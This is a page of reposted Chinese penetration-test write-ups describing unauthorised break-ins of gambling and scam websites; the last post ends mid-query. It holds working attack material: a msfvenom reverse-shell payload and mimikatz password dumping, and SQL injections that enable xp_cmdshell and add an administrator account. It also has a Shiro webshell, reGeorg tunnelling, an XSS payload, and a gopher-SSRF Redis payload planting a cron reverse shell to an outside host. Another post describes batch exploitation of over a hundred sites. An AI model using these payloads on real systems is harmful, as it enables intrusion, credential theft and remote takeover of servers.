ISHACK AI BOT 发布的所有帖子
-
记一次菠菜论坛的渗透测试经历
信息收集 正准备开干,有人企鹅私聊我让我跟他赚大钱。 群发也就算了,都开始私聊了,现在不法分子猖狂到什么地步了,这能惯着它。。。京东卡先放放,打开前台是个博彩论坛。 随手一个login,后台出来了,网站是php的,常用口令试了几次,admin存在,密码错误。 放在云悉上看一下。 访问一下子域名,很僵硬。 再看看端口吧,3306开放,主机是Windows的。 收集完毕,框架没扫出来,几乎没啥进展,唯一的突破点就是后台和端口了。 登录后台 3306抱着尝试心态爆破试试,不出意外,mysql没出来。 top100后台爆破试了一下没出来,希望不大,翻找js,可能会有口令,敏感路径,特殊接口什么,但是真的干干净净,可能我看的不仔细。 没有其他突破点,只能再爆破后台试一下了,拿了个大字典,真的跑了超久,最后总算出来了,铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。 坎坷上传 后台论坛文章管理处看见编辑器,瞬间两眼放光。 允许单图片、多图片尝试上传。 裂开了,白名单限制。 各种截断绕过失败。 看看是什么编辑器,翻找js文件,得知为wangeditor编辑器。 网上搜了一下,这个编辑器好像没什么漏洞,思路已干~ 转折出现 继续翻翻找找,发现订单详情也可下载订单图片。 下载链接: http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg 通过下载链接得到了网站绝对路径,猜测wwwroot为网站根目录,难道存在任意文件下载? 构造链接尝试一下: http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php Nice啊,胡汉三终于要翻身了。 继续寻找配置文件,一般index.php会引入数据库配置文件。 http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php 继续构造查看config.php。 http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php 拿到账号尝试连接,提示没有权限,还是以失败告终,猜测存在防火墙,或者数据库host值设置为仅本地访问。 没办法,继续翻,尝试读取apache配置文件。 http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf 王特发!!!html文件可作为php文件执行,赶紧回去尝试上传文件处,修改后缀上传,俩处上传点均上传失败~ 继续翻,在会员管理找到一处上传头像处。 修改文件名称上传,响应并返回上传路径。 构造链接下载,文件下载已成功,证明存在。 http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html 拼接访问,成功解析。 http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html 激动地心,颤抖的手啊,成功getshell。 梭哈成功 尝试提权,查看补丁情况,更新了不少,不过总有漏网之鱼。 使用工具,直接搜索未打补丁,exp怼上,提权成功,拿到管理员权限。 继续反弹shell,毕竟终端用的不舒服,这里用MSF反弹shell。 1、首先使用msf在本地生成一个木马文件,指定payload; msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe 2、本地开启python服务器,端口为8000; python -m http.server 8000 3、将文件放置在python服务器中,查看已经开启; 在终端目标机中下载exe文件; echo open 服务器ip:8000>exe文件。 4、使用msf中reverse_tcp开启监听; handler -p windows/meterpreter_reverse_tcp -H ip -P 4444 5、执行exe文件,成功收到shell。 拿到会话不要掉以轻心,MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认加载32位系统,所以如果目标主机是64位系统,直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文,同时也是防止会话断掉。 Ps查看进程,寻找稳定进程进行迁移。 migrate pid号 将meterpreter进程迁移到408进程:migrate 408 成功迁移,万事具备,就差密码,同样使用MSF中mimikatz模块抓取密码。 首先加载mimikatz模块: 这里列出 mimikatz_command模块用法: meterpreter > mimikatz_command -f a:: 输入一个错误的模块,可以列出所有模块 meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令 meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f handle::list 列出应用进程 meterpreter > mimikatz_command -f service::list 列出服务 meterpreter > mimikatz_command -f sekurlsa::searchPasswords meterpreter > run post/windows/gather/smart_hashdump 获取hash 选择samdump模块,该模块存在俩个功能: ? mimikatz_command -f samdump::hashes ? mimikatz_command -f samdump::bootkey 但是这样抓到的是密码的hash值,我想直接看到明文密码,使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。 mimikatz_command -f sekurlsa::searchPasswords 最后3389连接成功,打完收工。 证明有时当一当铁头娃还是不错的。 总结 从云悉,fofa,各类插件,子域名,端口信息收集,爆破后台进入该站点(有个好字典很重要),找到编辑器上传文件失败,白名单限制,js文件找到该编辑器名称,查询编辑器漏洞无果,找到图片下载处功能点,下载链接暴露网站路径,通过文件下载找到数据库配置文件,连接无权限,找到apache配置文件,发现文件后缀可绕过,另寻其他上传点成功getshell,提权操作后使用MSF中mimikatz模块抓取到登录密码,远程桌面连接成功,至此渗透结束。 转载于原文链接: https://cloud.tencent.com/developer/article/1790943
-
fastJson全版本Docker漏洞环境
fastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒测试,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。 Docker环境 docker compose up -d 若docker拉取环境缓慢,请尝试使用国内镜像 https://www.runoob.com/docker/docker-mirror-acceleration.html 环境启动后,访问对应ip的80端口: 总结了一些关于FastJson全版本常用漏洞利用Poc,可搭配食用:Fastjson全版本检测及利用-Poc 环境使用后请销毁,否则可能会冲突:docker compose down 整理一下靶场顺序:(根据利用特点分成三个大类) FastJson 1.2.471247-jndi 1247-jndi-waf 1247-waf-c3p0 1245-jdk8u342 FastJson 1.2.681268-readfile 1268-jkd11-writefile 1268-jdk8-writefile 1268-writefile-jsp 1268-writefile-no-network 1268-jdbc 1268写文件利用另外写了一篇,可搭配使用:FastJson1268写文件RCE探究 FastJson 1.2.801280-groovy 1283-serialize 每个机器根目录下都藏有flag文件,去尝试获取吧! 部分环境wp目前还未给出,打算过段时间放出,也欢迎提交你的wp和建议 DOCK环境:https://github.com/lemono0/FastJsonParty
-
记一次被骗花呗背后骗局的渗透实战
0X00 事情起因 大街上偶遇预存话费3999送平板被套路,支付宝被一顿操作又套现又转账的把我花呗都套走了。 回到家越发越觉得不对劲,越发越后悔,网上一搜关于这类的活动一抓一大把而且一模一样越看是越生气啊。 最主要的呢,送的平板也是八百多的根本不值预存话费的这个价,且居然有卡死的现象,于是乎我决定深挖瞧瞧。 0X01 信息收集 通过验证短信发过来的短域名链接复制到浏览器解析得到网址xx.xxxx.xx好家伙这网址一看就不是移动官方旗下的,在通过站长工具查询该网址解析到阿里云且未启用cdn,该域名持有者系广东一家某科技公司,域名到今年11月份就到期了,在通过搜索该企业发现经营异常这四个大字,我这好几千的话费肯定是凉透了。 通过对得到的域名用nmap -p 1-65355 xx.xxxx.xx进行全端口扫描瞧瞧都开放了哪些服务,再从其服务进行入手,可以看到也就只有80跟22端口,唯一有用的信息就是22端口知道对方是Linux服务器的。 在通过对80端口访问web服务得到以下信息,这界面也是短信内容里短域名所跳转过来的界面。 它的URL形式是/admin/user/login明显的用户登陆界面,众所周知admin是管理的意思,直觉让我逐层递减目录访问,果不其然跳转到了admin/login的商家管理界面。 0X02 漏洞挖掘目前初步找出两个登陆界面,后台登陆是没有验证码的可进行爆破操作,但前提条件是知道商家的手机号,这里就先正常登陆我自己的用户瞧瞧里面有无可利用的地方,功能很简单并无可利用的地方头像处也无法进行编辑上传等操作该界面也只是提供显示话费的总额,我猜他们搭这样一个平台也只是显示个数字前几个月唬住消费者。 决定退出用户用burp抓个包分析分析传输的数据,输入正确的手机号验证码以及短信验证码开启抓包,可看到参数都是以明文传输的,验证码这些均与正确那我如果替换成别的用户是不是可以达到一个水平越权漏洞了呢,mobile处替换号码成功登陆别的用户斩获水平越权漏洞一枚。 一样的个人中心一样的无任何利用的地方,转战后台登陆框框,像这类的后台二话不说直接使用burp抓个登陆的POST包在保存到本地txt文件使用sqlmap跑一跑说不定有意外的收获,因为是阿里云的服务器本地跑百分百的被拦截,所以我选择用与它相同的阿里云服务器去跑,username,password,remenbaer这三个均不存在注入。 没事,抓个包发个包看看响应回来的数据,可以看到账号的内容直接输出在了value的标签上。 构造xss payload闭合插它!!”><script>alert(/xss/)</script>然后在重新发包斩获反射性xss一枚。 0X03 Getshell挖到的那个两个漏洞太鸡肋了,思路也暂时断了回过头再分析分析抓到的数据包,一直没太注意响应包仔细一看发现rememberMe=deleteMe字样,shiro反序列化漏洞呀。 直接怼上exp,这里直接查看源代码取网站内的静态文件填入做检测。 可看到命令执行框内是可输入的证明存在该漏洞相反不存在则不可输入,且在/css的同级目录下生成了5663.js的验证文件,访问测试是否成功写入文件。 成功写入文件,接下来写入shell冰蝎连接执行whoami查看当前权限,Linux的环境直接root最高权限省去了需要提权的麻烦。 权限有了,并且服务器对外开放22端口可以直接写入公钥免密登陆,但考虑对方是阿里云的服务器异地登陆的话会有短信提醒动静太大所以没执行该方案,继续挖掘有用的信息,翻了半天翻到了个数据库的配置文件,数据库连接的地址是172.xx.xx.xx(各位师傅技艺高超内网地址也给码上防止爆菊)一看就知道是内网的ip站库分离啊,想办法代理转发出来连接瞧瞧。 冰蝎上有个Socks代理配合Proxifier在加上Navicat Premium数据程序管理进行隧道代理打入其内网数据库,常规的配置好Proxifier后添加程序进行连接,可问题来了反反复复试了好几次一点连接就直接数据异常,十有八九的被拦截了。 在内网代理这块踩了不少的坑总而言之还是自己经验不足,也有各位师傅指点使用adminer.php(这里手动@Uncia大佬),adminer确实不错很轻量便捷只需上传web目录即可但奈何使处的环境是Java环境只支持jsp脚本adminer也只有php的脚本。 0X04 内网代理既然adminer不支持冰蝎也代理不出,那咱们就自己搭一条代理的隧道出来,在这里踩了不少的坑尝试利用reDuh和Tunna要么就是没流量要么就是连上一下子就断开,不知道是不是我的姿势不对还是受当前环境的限制,最终在GitHub上找到reGeorg神器。 reGeorg 可以说是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路,用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口,它利用 webshell 建立一个 socks 代理进行内网穿透,因为当前环境是java所以我们上传.jsp的转发文件到网站目录下。 上传脚本后访问其脚本,显示Georg says, 'All seems fine',代理成功。 后在本地执行python2 reGeorgSocksProxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jsp在命令行界面同样显示Georg says, 'All seems fine'即可。 打开Proxifier基本配置好监听本地127.0.0.1的9999端口,然后设置代理规则添加Navicat程序,其他动作选择Direct关闭状态唯独只允许Navicat流量通过。 配置完后,右键Navicat以Proxifier本地代理模式打开。 可以看到已稳定链接且Python窗口有流量传输(切记代理过程中请勿关闭窗口)。 0X05 实锤骗局 数据库咱也连上了,看看会员表里的账号,通过筛选member会员表里的name字段查找自己的名字,果不其然自己就躺在那里数据的时间跟被套路的时间相吻合。 如何实锤?很简单库里的第一批用户是2019年5月份的,到现在也相差一年了,这是不是骗局登录19年的账号看看返现记录就一幕了然,就随机抽取一位幸运玩家结合前面的水平越权漏洞登录其账号。 这都过去一年时间了果然也就只首次返现一次,前几个月唬住消费者过后又以各种理由的欺骗你,总之永远吃亏的还是消费者。 0X06 写到最后至于为何写这篇文章,因为我也是受害者我想通过这样的方式去剖析它让大家更直观的了解这个局以免更多的人被套路,你去办理的时候他们会跟你说这是移动授权下来的活动(之前也是这么跟我说的),但这一路下来可以看出跟移动半毛钱关系没有,只不过是他们自主搭建的一个平台,里边的余额也只是唬住你,有这么一个平台一个数字显示出来让你放心而已,至于首月到账的那几百块也只是从你那套的好几千手动给你充值给几百而已。 不说了,接下来的一年里我要吃土还花呗了嘤嘤嘤,商家登录系统那我估计还会有更多的猫腻,但渗透测试点到为止,我的目的就是证明这是不是一个骗局既然实锤了咱们也没必要在深入了。 我们所做的安全对抗,正如同没有硝烟的战争,战争的结果除了输赢之分,还有正义与非正义之别,唯一的区别就是我们要时刻站在正义的视角,探索了其漏洞原理,却不因此对其造成损害 转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486245&idx=1&sn=ebfcf540266643c0d618e5cd47396474&chksm=ce67a1bcf91028aa09435781e951926067dcf41532dacf9f6d3b522ca2df1be8a3c8551c1672&scene=21#wechat_redirect
-
实战博彩站点-从弱口令到提权
0x00 前言我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程 0x01 登录框sql注入看到登录框没什么好说的,先试试sqlmap一把梭 burp抓包登录请求,保存到文件直接跑一下试试 python3 sqlmap.py -r "2.txt"有盲注和堆叠注入 看看能不能直接用sqlmap拿shell python3 sqlmap.py -r "2.txt" --os-shell目测不行 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell Payload: userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的) 顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败) userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123nmap扫了一下,目标的3389是开着的,mstsc.exe直接连 没连上 再跑一下os-shell,发现能跑绝对路径了,好兆头 成功弹出shell 因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode 生成的shellcode直接粘贴进os-shell里回车 然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌 0x02 信息收集tasklist看一下进程,有阿里云盾,有点难搞 systeminfo看看有什么 阿里云的服务器,版本windows server 2008 R2打了75个补丁 whoami一下,目测数据库被做过降权,nt service权限,非常低 尝试传个ms-16-032的exp上去,直接上传失败 到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF 0x03 利用frp到CS服务端联动MSF攻击在CS上开一个监听器 修改一下frp的配置文件 保存配置文件后在frp文件夹下启动frp ./frpc -c frpc.ini 打开msf开启监听 use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset LHOST 127.0.0.1set LPORT 9996run这里可以看到MSF已经开启监听了 回到CS,右键选一个主机增加一个会话 选择刚创建好的监听器,choose 回到msf,session啪的一下就弹回来了,很快啊 我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限 0x04 上传烂土豆EXP提权在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理) upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public CS翻一下目标机器的文件,发现成功上传 然后进目标机器的这个文件夹下开始准备提权 cd C:\\Users\\Publicuse incognitoexecute -cH -f ./potato.exelist_tokens -u复制administrator的令牌impersonate_token "administrator的令牌" 最后检查一下是否提权成功 0x05 mimikatz抓取密码hash先提个权 getsystem 试试能不能直接dump出来 不行,只好用mimikatz了 load mimikatz然后抓取密码哈希 mimikatz_command -f samdump::hashes 也可以用MSF自带的模块(这个比mimikatz慢一点) run post/windows/gather/smart_hashdump 然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面 0x06 信息收集扩大攻击范围成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击. @crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点 但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名 在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求 python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机 0x07 进后台逛逛用数据库里查出来的管理员账号密码登录网站后台看一看 20个人充值了80多万 还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程! 劝大家远离赌博,也希望陷进去的赌徒回头是岸! 转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect
-
记一次BC推广渗透实战
0x00 信息搜集朋友给了我一个站,算一个比较大的bc,主站看了一下,没有入口,就换了他的一个推广平台 然后首先大致扫了一下目录,希望可以看见一些有用的东西。 这个时候我可以推荐大家一个接口,可以快速大致看看他重要的文件 https://scan.top15.cn/web/infoleak 例如探针,网站源码是否打包,很明显我没有扫出来,然后给大家看看扫描结果。 config.inc.php根据经验看应该是数据库的配置文件,但是大小为0B,试探性的访问一下,果然什么都没有 upload访问就是403,但是根据经验还是会再去扫一下它,说不定是什么fck编辑器呢,也很遗憾,啥子都没有扫到。 /index.php/login/ ,大小只有2kb,也根本不是后台,有点失落。 端口的话也只有这一个web资产,只好看一下他的网站功能了。 然后点击了一下查询,希望可以在这里找找注入。 0x01 后台注入 果然,有注入,剩下的就是找后台了。 查看当前数据库,and (extractvalue(1,concat(0x7e,(select database()),0x7e)))-- 这里记一下踩坑,account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--(' 这是完整的payload,最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。 tm始终不出数据,我以为他妈有过滤。 还一个一个fuzzing。 后面想了想会不会注释闭合了还会追加').果然,闭合以后出了数据。 然后有用sqlmap跑数据,没想到tm的跑不出来。 只有自己重新构造sqlmap语句 python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode 终于跑出来了。 后面看了一下payload,每次跑都会把空格编译为20%,url编码了以后payload就不生效了,就用了skip-urlencode这个参数。 0x02 注入点惊喜又来了,看了一下priv,真的,这么多mysql注入,终于有了一个比较高的权限。 我直接账号密码都没有看,刚刚报错除了绝对路径,这不--os-shell? 然后查看payload的时候,发现了hws,我就感觉不简单了,兄弟们。 果然,写不进去,后面加了--hex也是写不进去的。 那没事,还有--sql-shell。 用堆叠写,虽然我知道大概率写不进去,但是还是要尝试一下,说不定呢。 渗透tm就是玄学。 查看了一下priv,不是null,又给了我一丝丝希望,写,先写一个txt看看。 select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt' 然后去网站看,并没有写进去,真的太难了。 就只剩下--file-write了,这个就不贴图了,依然还是没有拿下。 无奈,只有查看后台账号密码。 账号密码收集完了,就去找后台,但是很遗憾,还是没有找到,都接近绝望了。 这tm都送到嘴里了,怎么还是拿不下,我tm就感觉是sqlmap的问题,我有重新弄了一次上面的步骤,我明白了,sqlmap可能会骗你,但是hws不会,你写不进去,就是写不进去。 算了还是换一个思路吧,报错不是爆了这个目录吗? wolsoowpppps,我在回去看看,不出意外的403,wolsoowpppps/admin,wolsoowpppps/login。 都没有东西,dirsearch一扫,tm还是没有。 0x03 写马不成功他报错不是web/wolsoowpppps这个路径吗,会不会是我绝对路径有问题,我访问 怎么也是403,那只能说明这是一个没有扫出来的目录,尼玛的,我tm感觉这里有东西。 结果一扫,图就不贴了,还是什么也没有。 哈哈哈哈。 有白高兴一场。 但是我始终觉得这个wolsoowpppps目录有问题,fuzzing一下,fuzzing出了web,然后再扫web,好家伙,出了一个temp。 php访问,一个大马。 这不快结素了吗? 然后爆破,最终,成功爆破进来,上传蚁键,拿下。 这个大马看起也很熟悉呀。 但是hws还是真的猛。 命令无法执行,用了插件,还有那个.so的那个方法,都没有弄出来。 这里感谢一下黄哥,他说的护卫神主要是asp的,传一个冰蝎的马就可以了。 然后想了很多办法,这个权限提不下来,我相信xz的大佬应该会知道吧,我说一说情况。 目前只有d盘的查看修改权限,exe无法执行,意味着Ms系列用不起。 土豆一族传不上去。 iis秒不掉。 杀软是火绒,护卫神,安全狗。 向上cs的,但是dll和Mshta执行就卡死,目前暂时不知道怎么提权,想继续扩展,但是提权这一方面接触的少,还望先知的给位表哥们给给思路。 0x04 拿下后台最后,我想了想,那个大马是怎么传上去的。 对方可能也是注入起手->在一处找到了xss(我也找到了,但是由于客服是10月份下线的,已经换了站了,导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站,后台的rce(tp3.2.3缓存getshell)->上大马。 这是xss的位置 这个是后台 这个站虽然拿的比价坎坷,但是思路都是很简单的,还是多学习吧。 转载于原文链接: https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491
-
渗透大型菠菜网站鸭脖
主站注册可以发现jsp和php后缀共存,应该是不同路由反代了不同的中间件,找不到啥漏洞。 论坛是Discuz! X3.2 发现Discuz急诊箱。 admin.php 403,uc_server和急诊箱均无弱密码。 在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞,那么前台漏洞呢?主要有任意文件删除,SSRF,uc_server爆破。 首先是任意文件删除。 POST /home.php?mod=spacecp&ac=profile&op=base birthprovince=../../../info.php 然后再POST文件上去,即可删除info.php <formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data"> <input type="file"name="birthprovince" id="file" /> <input type="text"name="formhash" value="017b5107"/> <input type="text"name="profilesubmit" value="1"/> <input type="submit"value="Submit" /></from>这个漏洞虽然危害不低,但对后续渗透没什么用,Discuz很难通过删除文件去install。 再看SSRF。 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107 这是一个不回显的SSRF,只能通过时间延迟来判断。 一,可直接通过http去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟。 二,可以通过302跳转改变协议,ftp,dict,gopher都支持。 三,可以通过ftp协议来探测端口,如果端口开放则长延迟,如果端口关闭则短延迟。 先通过http协议访问我的VPS获取论坛的真实ip。 163.*. *.35.bc.googleusercontent.com(35.*.*.163) 然后尝试盲打本地redis(这里探测本地端口全关,认为不合理,所以直接盲打) gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。 先看清晰的SSRF攻击payload /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107 然后302.php?到data=之间的&要url编码,data=到xx=1.png的所有字符串都进行两次url编码,去bp中发包。 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107 但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。 因此payload只能放在VPS中写死。 <?php $ip=$_GET['ip']; $port=$_GET['port']; $scheme=$_GET['s']; $data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a'; header("Location:$scheme://$ip:$port/$data"); 测试一下打VPS上的redis能否成功 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107 没问题。但实际环境中利用失败了,原因不确定,没有redis或者redis权限不够或者redis有密码都是有可能的。 开始写脚本探测内网,不过并未抱多大希望,其为谷歌云,并不一定有内网。 先生成所有内网ip的*.*.*.1的ip字典 f = open('ip.txt','w') f.write('127.0.0.1') f.write('localhost') for i in range(1,256): ip = '192.168.'+str(i)+'.1' f.write(ip) for i in range(16,32): for ii inrange(1,256): ip = '172.'+str(i)+'.'+str(ii)+'.1' f.write(ip) for i in range(1,256): for ii inrange(1,256): ip = '10.'+str(i)+'.'+str(ii)+'.1' f.write(ip) f.close() 然后通过时间延迟来寻内网ip段,这里由于ip不通的延迟长达7s以上,所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以,所以干脆直接使用gopher攻击redis的payload,万一直接打中了呢。 import requestsimport threading def ssrf(i): url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107' header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip,deflate", "Connection": "keep-alive" } cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"} r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False) if r.elapsed.total_seconds()> 6: timeout = str(i)+'port:'+str(r.elapsed.total_seconds()) print(timeout) else: timeout = str(i)+'port:'+str(r.elapsed.total_seconds()) fo = open('openip.txt','a') fo.write(str(i)+'open\n') fo.close() print(str(i)+'open') print(timeout) def thread(list): name = [] for i in list: th = threading.Thread(target=ssrf,args=(i,)) name.append(th) th.start() for th inname: th.join() folist = open('ip.txt','r')list = []flag = 0for i infolist.readlines(): i = i.replace('\n','') if flag <21: list.append(i) flag = flag+1 else: thread(list) flag = 0 list = [] 只发现一个开放的网关172.30.2.1,再跑此网关上的内网ip,更换ip.txt即可。 结果跑了一天只跑出两个内网ip,172.30.2.1和172.30.2.2,大概率172.30.2.2是它自己,172.30.2.1是云服务器的虚拟网关。 最后再用ftp协议跑它们的端口,脚本自己改改就行了。 大部分都是误报,其实只开了80和443两个端口,所以除非之后发现其他内网ip,否则SSRF是不用指望了。 最后一个uc_server爆破,原理为改XFF头导致图形验证码固定,同样利用失败,详情见https://www.freebuf.com/articles/web/197546.html 论坛告一段落,接下来看看客服系统有啥问题。 /res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f id传参,无法目录穿越。文件上传无法利用,开始目录扫描。 admin登录界面有滑块验证,不过是前端骗人的,后端没用到,尝试爆破无果。 看到/actuator,就知道是spring boot了,使用针对性字典爆破。 /swagger-ui.html为空,/env跳转admin,/heapdump 403。 但鬼使神差的我试了试/heapdump.json 解压出来1G内存文件,使用MemoryAnalyzer将其打开,OQL查询。 由于没有/env配合,只能盲查配置信息,这里写一些我摸索出来的小技巧。 select* from org.springframework.web.context.support.StandardServletEnvironment查配置,注意以Retained Heap(大小)排序,比较方便。 select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"查含password的字符串,这种查法不易找出关联类,但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。 select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select* from java.util.Hashtable$Entry x WHERE 